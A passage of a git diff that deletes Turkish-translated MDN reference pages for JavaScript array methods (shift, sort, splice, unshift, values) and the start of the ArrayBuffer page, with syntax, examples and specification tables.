<td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Eğer verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> bakın ve bize bir "pull request" (çekme talebi) gönderin..</div> - -<p>{{Compat("javascript.builtins.Array.shift")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array.prototype.push()")}}</li> - <li>{{jsxref("Array.prototype.pop()")}}</li> - <li>{{jsxref("Array.prototype.unshift()")}}</li> - <li>{{jsxref("Array.prototype.concat()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/sort/index.html b/files/tr/web/javascript/reference/global_objects/array/sort/index.html deleted file mode 100644 index 783a3048f3..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/sort/index.html +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: Array.prototype.sort() -slug: Web/JavaScript/Reference/Global_Objects/Array/sort -tags: - - Dizi - - Dizi methodu - - Sıralama - - metod -translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort ---- -<div>{{JSRef}}</div> - -<p><code><strong>sort()</strong></code> metodu dizi ögelerini sıralayarak, ilgili dizini sıralanmış olarak geri döndürür. The default sort order is ascending, built upon converting the elements into strings, then comparing their sequences of UTF-16 code units values.</p> - -<p>The time and space complexity of the sort cannot be guaranteed as it depends on the implementation.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>arr</var>.sort(<var>[compareFunction]</var>) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>compareFunction</code> {{optional_inline}}</dt> - <dd>Specifies a function that defines the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a> code point value. - <dl> - <dt><code>firstEl</code></dt> - <dd>The first element for comparison.</dd> - <dt><code>secondEl</code></dt> - <dd>The second element for comparison.</dd> - </dl> - </dd> -</dl> - -<h3 id="Geri_dönen_değer">Geri dönen değer</h3> - -<p>The sorted array. Note that the array is sorted <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a></em>, and no copy is made.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>If <code>compareFunction</code> is not supplied, all non-<code>undefined</code> array elements are sorted by converting them to strings and comparing strings in UTF-16 code units order. For example, "banana" comes before "cherry". In a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the Unicode order. All <code>undefined</code> elements are sorted to the end of the array.</p> - -<div class="blockIndicator note"> -<p><strong>Note :</strong> In UTF-16, Unicode characters above <code>\uFFFF</code> are encoded as two surrogate code units, of the range <code>\uD800</code>-<code>\uDFFF</code>. The value of each code unit is taken separately into account for the comparison. Thus the character formed by the surrogate pair <code>\uD655\uDE55</code> will be sorted before the character <code>\uFF3A</code>.</p> -</div> - -<p>If <code>compareFunction</code> is supplied, all non-<code>undefined</code> array elements are sorted according to the return value of the compare function (all <code>undefined</code> elements are sorted to the end of the array, with no call to <code>compareFunction</code>). If <code>a</code> and <code>b</code> are two elements being compared, then:</p> - -<ul> - <li>If <code>compareFunction(a, b)</code> returns less than 0, sort <code>a</code> to an index lower than <code>b</code> (i.e. <code>a</code> comes first).</li> - <li>If <code>compareFunction(a, b)</code> returns 0, leave <code>a</code> and <code>b</code> unchanged with respect to each other, but sorted with respect to all different elements. Note: the ECMAscript standard does not guarantee this behavior, thus, not all browsers (e.g. Mozilla versions dating back to at least 2003) respect this.</li> - <li>If <code>compareFunction(a, b)</code> returns greater than 0, sort <code>b</code> to an index lower than <code>a</code> (i.e. <code>b</code> comes first).</li> - <li><code>compareFunction(a, b)</code> must always return the same value when given a specific pair of elements <code>a</code> and <code>b</code> as its two arguments. If inconsistent results are returned, then the sort order is undefined.</li> -</ul> - -<p>So, the compare function has the following form:</p> - -<pre class="brush: js">function compare(a, b) { - if (a is less than b by some ordering criterion) { - return -1; - } - if (a is greater than b by the ordering criterion) { - return 1; - } - // a must be equal to b - return 0; -} -</pre> - -<p>To compare numbers instead of strings, the compare function can simply subtract <code>b</code> from <code>a</code>. The following function will sort the array in ascending order (if it doesn't contain <code>Infinity</code> and <code>NaN</code>):</p> - -<pre class="brush: js">function compareNumbers(a, b) { - return a - b; -} -</pre> - -<p>The <code>sort</code> method can be conveniently used with {{jsxref("Operators/function", "function expressions", "", 1)}}:</p> - -<pre class="brush: js">var numbers = [4, 2, 5, 1, 3]; -numbers.sort(function(a, b) { - return a - b; -}); -console.log(numbers); - -// [1, 2, 3, 4, 5] -</pre> - -<p>ES2015 provides {{jsxref("Functions/Arrow_functions", "arrow function expressions", "", 1)}} with even shorter syntax.</p> - -<pre class="brush: js">let numbers = [4, 2, 5, 1, 3]; -numbers.sort((a, b) => a - b); -console.log(numbers); - -// [1, 2, 3, 4, 5]</pre> - -<p>Objects can be sorted, given the value of one of their properties.</p> - -<pre class="brush: js">var items = [ - { name: 'Edward', value: 21 }, - { name: 'Sharpe', value: 37 }, - { name: 'And', value: 45 }, - { name: 'The', value: -12 }, - { name: 'Magnetic', value: 13 }, - { name: 'Zeros', value: 37 } -]; - -// sort by value -items.sort(function (a, b) { - return a.value - b.value; -}); - -// sort by name -items.sort(function(a, b) { - var nameA = a.name.toUpperCase(); // ignore upper and lowercase - var nameB = b.name.toUpperCase(); // ignore upper and lowercase - if (nameA < nameB) { - return -1; - } - if (nameA > nameB) { - return 1; - } - - // names must be equal - return 0; -});</pre> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Creating_displaying_and_sorting_an_array">Creating, displaying, and sorting an array</h3> - -<p>The following example creates four arrays and displays the original array, then the sorted arrays. The numeric arrays are sorted without a compare function, then sorted using one.</p> - -<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga']; -var numericStringArray = ['80', '9', '700']; -var numberArray = [40, 1, 5, 200]; -var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200]; - -function compareNumbers(a, b) { - return a - b; -} - -console.log('stringArray:', stringArray.join()); -console.log('Sorted:', stringArray.sort()); - -console.log('numberArray:', numberArray.join()); -console.log('Sorted without a compare function:', numberArray.sort()); -console.log('Sorted with compareNumbers:', numberArray.sort(compareNumbers)); - -console.log('numericStringArray:', numericStringArray.join()); -console.log('Sorted without a compare function:', numericStringArray.sort()); -console.log('Sorted with compareNumbers:', numericStringArray.sort(compareNumbers)); - -console.log('mixedNumericArray:', mixedNumericArray.join()); -console.log('Sorted without a compare function:', mixedNumericArray.sort()); -console.log('Sorted with compareNumbers:', mixedNumericArray.sort(compareNumbers)); -</pre> - -<p>This example produces the following output. As the output shows, when a compare function is used, numbers sort correctly whether they are numbers or numeric strings.</p> - -<pre>stringArray: Blue,Humpback,Beluga -Sorted: Beluga,Blue,Humpback - -numberArray: 40,1,5,200 -Sorted without a compare function: 1,200,40,5 -Sorted with compareNumbers: 1,5,40,200 - -numericStringArray: 80,9,700 -Sorted without a compare function: 700,80,9 -Sorted with compareNumbers: 9,80,700 - -mixedNumericArray: 80,9,700,40,1,5,200 -Sorted without a compare function: 1,200,40,5,700,80,9 -Sorted with compareNumbers: 1,5,9,40,80,200,700 -</pre> - -<h3 id="ASCII_olmayan_karakterleri_sıralama">ASCII olmayan karakterleri sıralama</h3> - -<p>For sorting strings with non-ASCII characters, i.e. strings with accented characters (e, é, è, a, ä, etc.), strings from languages other than English, use {{jsxref("String.localeCompare")}}. This function can compare those characters so they appear in the right order.</p> - -<pre class="brush: js">var items = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; -items.sort(function (a, b) { - return a.localeCompare(b); -}); - -// items is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] -</pre> - -<h3 id="Map_ile_sıralama">Map ile sıralama</h3> - -<p>The <code>compareFunction</code> can be invoked multiple times per element within the array. Depending on the <code>compareFunction</code>'s nature, this may yield a high overhead. The more work a <code>compareFunction</code> does and the more elements there are to sort, it may be more efficient to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> for sorting. The idea is to traverse the array once to extract the actual values used for sorting into a temporary array, sort the temporary array, and then traverse the temporary array to achieve the right order.</p> - -<pre class="brush: js" dir="rtl">// the array to be sorted -var list = ['Delta', 'alpha', 'CHARLIE', 'bravo']; - -// temporary array holds objects with position and sort-value -var mapped = list.map(function(el, i) { - return { index: i, value: el.toLowerCase() }; -}) - -// sorting the mapped array containing the reduced values -mapped.sort(function(a, b) { - if (a.value > b.value) { - return 1; - } - if (a.value < b.value) { - return -1; - } - return 0; -}); - -// container for the resulting order -var result = mapped.map(function(el){ - return list[el.index]; -}); -</pre> - -<p>There is an open source library available called <a href="https://null.house/open-source/mapsort">mapsort</a> which applies this approach.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.sort")}}</p> -</div> - -<h2 id="Bunlarada_göz_at">Bunlarada göz at</h2> - -<ul> - <li>{{jsxref("Array.prototype.reverse()")}}</li> - <li>{{jsxref("String.prototype.localeCompare()")}}</li> - <li><a href="https://v8.dev/blog/array-sort">About the stability of the algorithm used by V8 engine</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/splice/index.html b/files/tr/web/javascript/reference/global_objects/array/splice/index.html deleted file mode 100644 index b853160481..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/splice/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Array.prototype.splice() -slug: Web/JavaScript/Reference/Global_Objects/Array/splice -tags: - - Dizi - - Referans - - metod - - prototip -translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice ---- -<div>{{JSRef}}</div> - -<p><code><strong>splice()</strong></code> metodu; bir Dizi'nin içeriklerini, diziye ait öğeleri kaldırarak veya yeni öğeler ekleyerek ve/veya mevcut öğeleri silerek değiştirir.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>array</var>.splice(<var>başlangıç[</var>, <var>silinecekAdet[</var>, <var>item1[</var>, <var>item2[</var>, <em>...]]]]</em>) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>başlangıç</code></dt> - <dd>Dizi'yi değiştirmek için başlanılacak indeks (0 kökenli indeks). Dizi'nin uzunluğundan daha büyük ise, başlangıç indeksi Dizi'nin uzunluğuna ayarlanacak. Negatif ise, Dizi'nin sonundaki öğeler toplamından başlayacak (-1 kökenli indeks) ve eğer kesin değer Dizi'nin uzunluğundan büyük ise, başlangıç değeri 0 olacak.</dd> - <dt><code>silinecekAdet</code> {{optional_inline}}</dt> - <dd>Eski Dizi'nden silinecek öğelerin sayısını belirten bir tamsayı.</dd> - <dd><code>silinecekAdet</code> belirlenmemiş ise, veya değeri <code>dizi.uzunluk - başlangıç</code> 'tan büyük ise (daha sade bir tanımı, <code>başlangıç</code> başlayarak, Dizi'nde kalmış öğelerin toplam sayısından fazla ise), <code>start</code> sayısından Dizi'nin sonuna kadar yer alan bütün öğeler silinecek.</dd> - <dd><code>silinecekAdet</code> 0 veya negatif ise, hiçbir öğe silinmeyecek. Bu durumda, en az yeni bir öğe tanımlamalısın (aşağı bkz.).</dd> - <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt> - <dd>Dizi'ne eklenecek olan öğeler, <code>başlangıç</code> indeksinden başlayarak. hiçbir öğe tanımlamaz isen, <code>splice()</code> sadece Dizi'den öğeleri kaldıracak.</dd> -</dl> - -<h3 id="Geri_dönüş_değeri">Geri dönüş değeri</h3> - -<p>Silinen öğeleri barındıran bir Dizi. Sadece bir öğe silinmiş ise, tek öğeli bir Dizi geri dönülecek. Hiçbir öğe silinmemiş ise, boş bir Dizi dönecek.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Sileceğin öğe sayısından farklı bir sayıda öğe tanımlıyorsan, çağrının sonunda Dizi farklı bir uzunluğa sahip olacak.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="2_indeksinden_önce_0_öğe_sil_ve_drum_öğesini_ekle">2 indeksinden önce 0 öğe sil, ve "drum" öğesini ekle</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; -var removed = myFish.splice(2, 0, 'drum'); - -// myFish dizi öğeleri ["angel", "clown", "drum", "mandarin", "sturgeon"] -// silinen [], hiçbir öğe silinmedi -</pre> - -<h3 id="3_indeksinden_1_öğe_sil">3 indeksinden 1 öğe sil</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; -var removed = myFish.splice(3, 1); - -// silinen ["mandarin"] -// myFish Dizi'si ["angel", "clown", "drum", "sturgeon"] -</pre> - -<h3 id="2_indeksinden_1_öğe_sil_ve_trumpet_öğesini_ekle">2 indeksinden 1 öğe sil, ve "trumpet" öğesini ekle</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; -var silinen = myFish.splice(2, 1, 'trumpet'); - -// myFish is ["angel", "clown", "trumpet", "sturgeon"] -// silinen ["drum"]</pre> - -<h3 id="0_indeksinden_başlayarak_2_öğe_sil_parrot_anemone_ve_blue_öğelerini_ekle">0 indeksinden başlayarak 2 öğe sil, "parrot", "anemone" ve "blue" öğelerini ekle</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; -var silinen = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); - -// myFish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"] -// silinen ["angel", "clown"]</pre> - -<h3 id="2_indeksinden_2_öğe_sil">2 indeksinden 2 öğe sil</h3> - -<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; -var silinen = myFish.splice(myFish.length - 3, 2); - -// myFish is ["parrot", "anemone", "sturgeon"] -// silinen ["blue", "trumpet"]</pre> - -<h3 id="-2_indeksinden_1_öğe_sil">-2 indeksinden 1 öğe sil</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; -var silinen = myFish.splice(-2, 1); - -// myFish ["angel", "clown", "sturgeon"] -// silinen ["mandarin"]</pre> - -<h3 id="2_indeksinden_sonra_bütün_öğeleri_sil_2_indeksi_de_dahil">2 indeksinden sonra bütün öğeleri sil (2 indeksi de dahil)</h3> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; -var silinen = myFish.splice(2); - -// myFish ["angel", "clown"] -// silinen ["mandarin", "sturgeon"]</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.2.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.splice")}}</p> -</div> - -<h2 id="Bkz.">Bkz.</h2> - -<ul> - <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — add/remove elements from the end of the array</li> - <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — add/remove elements from the beginning of the array</li> - <li>{{jsxref("Array.prototype.concat()", "concat()")}} — returns a new array comprised of this array joined with other array(s) and/or value(s)</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/unshift/index.html b/files/tr/web/javascript/reference/global_objects/array/unshift/index.html deleted file mode 100644 index a34d4d8713..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/unshift/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Array.prototype.unshift() -slug: Web/JavaScript/Reference/Global_Objects/Array/unshift -translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift ---- -<div>{{JSRef}}</div> - -<p><code><strong>unshift()</strong></code> metodu dizinin başına bir veya daha fazla element ekler ve yeni dizinin uzunluğunu size geri döndürür.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</div> - -<h2 id="Sözdizimi_Kuralları">Sözdizimi Kuralları</h2> - -<pre class="syntaxbox"><em>dizi</em>.unshift(<var>element1</var>[, ...[, <var>elementN</var>]])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>element<em>N</em></code></dt> - <dd>Dizinin başına eklenecek değer.</dd> -</dl> - -<h3 id="Döndürülen_değer">Döndürülen değer</h3> - -<p>Üzerinde işlem yapılan dizinin yeni {{jsxref("Array.length", "length")}} değerini verir.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>unshift</code><font><font>, girilen değerleri bir dizinin başına ekler.</font></font></p> - -<p><code>unshift</code><font><font>kasıtlı olarak geneldir; </font><font>bu yöntem, benzer nesnelere </font></font>{{jsxref("Function.call", "called", "", 1)}} veya<font><font> </font></font>{{jsxref("Function.apply", "applied", "", 1)}} <font><font>olabilir. diziler. </font><font>Birbirini </font></font><code>length</code> <font><font>ardışık, sıfıra dayalı sayısal özellikler dizisinde sonuncuyu yansıtan </font><font>bir </font><font>özellik </font><font>içermeyen nesneler </font><font>, anlamlı şekilde davranamazlar.</font></font></p> - -<p><font><font>Birden fazla eleman parametre olarak girildiğinde, elemanlar parametre sırasına göre dizinin başına yerleştirilmektedir. Parametreleri ayrı unshift metodlarıyla eklemek ve sadece bir unshift metodunda eklemek aynı sonucu vermez.</font></font></p> - -<pre class="syntaxbox">let dizi = [4, 5, 6]; -dizi.unshift(1, 2, 3); -console.log(dizi); -// [<strong>1, 2, 3</strong>, 4, 5, 6] - -dizi = [4, 5, 6]; // dizi sıfırlanır. - -dizi.unshift(1); -dizi.unshift(2); -dizi.unshift(3); - -console.log(dizi); -// [<strong>3, 2, 1</strong>, 4, 5, 6] -</pre> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">let dizi = [1, 2]; - -dizi.unshift(0); // dizinin uzunluğu 3 olur. -// dizi: [0, 1, 2] - -dizi.unshift(-2, -1); // dizinin uzunluğu 5 olur. -// dizi: [-2, -1, 0, 1, 2] - -dizi.unshift([-4, -3]); // dizinin uzunluğu 6 olur. -// dizi: [[-4, -3], -2, -1, 0, 1, 2] - -dizi.unshift([-7, -6], [-5]); // dizinin uzunluğu 8 olur. -// dizi: [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.2.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - -<div> -<div class="hidden"><font>Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. </font><font>Verilere katkıda bulunmak istiyorsanız, lütfen</font><font><font> </font></font><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini ziyaret edin ve bize istek gönderin.</div> - -<p>{{Compat("javascript.builtins.Array.unshift")}}</p> -</div> - -<h2 id="Benzer_Makaleler">Benzer Makaleler</h2> - -<ul> - <li>{{jsxref("Array.prototype.push()")}}</li> - <li>{{jsxref("Array.prototype.pop()")}}</li> - <li>{{jsxref("Array.prototype.shift()")}}</li> - <li>{{jsxref("Array.prototype.concat()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/values/index.html b/files/tr/web/javascript/reference/global_objects/array/values/index.html deleted file mode 100644 index 1c949e93a5..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/values/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Array.prototype.values() -slug: Web/JavaScript/Reference/Global_Objects/Array/values -tags: - - Dizi yineleyici - - Iterator - - JavaScript - - metod - - prototip -translation_of: Web/JavaScript/Reference/Global_Objects/Array/values ---- -<div>{{JSRef}}</div> - -<div> </div> - -<p><strong><code>values()</code></strong> methodu dizideki tüm elemanları içeren yeni bir <strong><code>(Dizi yineleyici)</code></strong> nesnesi döner</p> - -<pre class="brush: js">var a = ['e', 'l', 'm', 'a']; -var yineleyici = a.values(); - -console.log(yineleyici.next().value); // e -console.log(yineleyici.next().value); // l -console.log(yineleyici.next().value); // m -console.log(yineleyici.next().value); // a - -</pre> - -<h2 id="Sintaks">Sintaks</h2> - -<pre class="syntaxbox"><var>arr</var>.values()</pre> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Yeni bir {{jsxref("Array")}} yineleyici nesne.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="for...of_loop_ile_yineleme"><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> loop ile yineleme</h3> - -<pre class="brush: js">var arr = ['e', 'l', 'm', 'a']; -var yineleyici = arr.values(); - -for (let harf of yineleyici) { - console.log(harf); -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Web_tarayıcı_uyumluluğu">Web tarayıcı uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.values")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.keys()")}}</li> - <li>{{jsxref("Array.prototype.entries()")}}</li> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Array.prototype.every()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html b/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html deleted file mode 100644 index 8109b3f667..0000000000 --- a/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: ArrayBuffer -slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer -tags: - - ArrayBuffer - - Constructor - - JavaScript - - Yazılı Diziler -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer ---- -<div>{{JSRef}}</div> - -<p>Bir <strong><code>ArrayBuffer</code></strong> nesnesi, kapsamlı ve sabit uzunluktaki raw binary data buffer'ını temsil etmek için kullanılır. Bir ArrayBuffer'ın içeriklerini direkt olarak manipüle edemezsiniz; bunun yerine, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">yazılmış dizi nesnelerini</a> veya buffer'ı özel bir formatta temsil eden bir {{jsxref("DataView")}} nesnesini oluşturursunuz, buffer'a içerik yazmak veya buffer'dan içerik okumak için kullanırsınız.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">new ArrayBuffer(length) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>length</code></dt> - <dd>Byte cinsinden, oluşturulan array buffer'ın boyutudur.</dd> -</dl> - -<h3 id="Döndürülen_Değer">Döndürülen Değer</h3> - -<p>Belirlenen boyutta yeni bir ArrayBuffer nesnesi. İçeriği 0 atanmış durumdadır.</p> - -<h3 id="İstisnalar">İstisnalar</h3> - -<p>Eğer uzunluk {{jsxref("Number.MAX_SAFE_INTEGER")}} (>= 2 ** 53) ifadesinden büyük ya da negatif ise bir {{jsxref("RangeError")}} fırlatılır.</p> - -<h2 id="Tanım">Tanım</h2> - -<p><code>ArrayBuffer</code> constructor'ı, byte cinsinden verilen boyutta yeni bir ArrayBuffer oluşturur.</p> - -<h3 id="Var_olan_bir_data'dan_array_buffer_çekmek">Var olan bir data'dan array buffer çekmek</h3> - -<ul> - <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Bir Base64 string'inden</a></li> - <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">Yerel bir dosyadan</a></li> -</ul> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt><code>ArrayBuffer.length</code></dt> - <dd>ArrayBuffer constructor'ının 1 değerine sahip uzunluk özelliği.</dd> - <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt> - <dd>Türetilmiş nesneleri oluşturmak için kullanılan constructor fonksiyonu.</dd> - <dt>{{jsxref("ArrayBuffer.prototype")}}</dt> - <dd>Bütün ArrayBuffer nesnelerine özellik eklemeye izin verir.</dd> -</dl> - -<h2 id="Metodlar">Metodlar</h2> - -<dl> - <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt> - <dd>Eğer <code>arg</code> bir ArrayBuffer view'i ise <code>true</code> döndürür, tıpkı <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">yazılmış dizi nesneleri</a> veya bir {{jsxref("DataView")}}gibi. Aksi halde <code>false </code>döndürür.</dd> - <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt> - <dd> - <div class="line" id="file-arraybuffer-transfer-LC6">oldBuffer'ın alınmış, ardından kesilmiş veya newByteLength tarafından sıfır-uzatılmış datasını içeren yeni bir ArrayBuffer döndürür.</div> - </dd> -</dl> - -<h2 id="ArrayBuffer_oluşumları"><code>ArrayBuffer</code> oluşumları</h2> - -<p>Bütün <code>ArrayBuffer</code> oluşumları {{jsxref("ArrayBuffer.prototype")}} tarafından miras alınır.</p> - -<h3 id="Özellikler_2">Özellikler</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p> - -<h3 id="Metodlar_2">Metodlar</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p> - -<dl> - <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt> - <dd>{{jsxref("ArrayBuffer.prototype.slice()")}} ile aynı fonksiyonelliğe sahiptir.</dd> -</dl> - -<h2 id="Örnek">Örnek</h2> - -<p>Bu örnekte, {{jsxref("Global_Objects/Int32Array", "Int32Array")}} view'i aracılığıyla 8-byte'lık bir buffer oluştururuz.</p> - -<pre class="brush: js">var buffer = new ArrayBuffer(8); -var view = new Int32Array(buffer);</pre> - -<h2 id="Belirtmeler">Belirtmeler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Belirtme</th> - <th scope="col">Durum</th> - <th scope="col">Yorumlar</th> - </tr> - <tr> - <td>{{SpecName('Typed Array')}}</td> - <td>{{Spec2('Typed Array')}}</td> - <td>ECMAScript 6 tarafından yenilenmiştir.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Bir ECMA standardı için başlangıç tanımı. <code>new</code>'in gerekli olduğu belirtilmiştir.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - 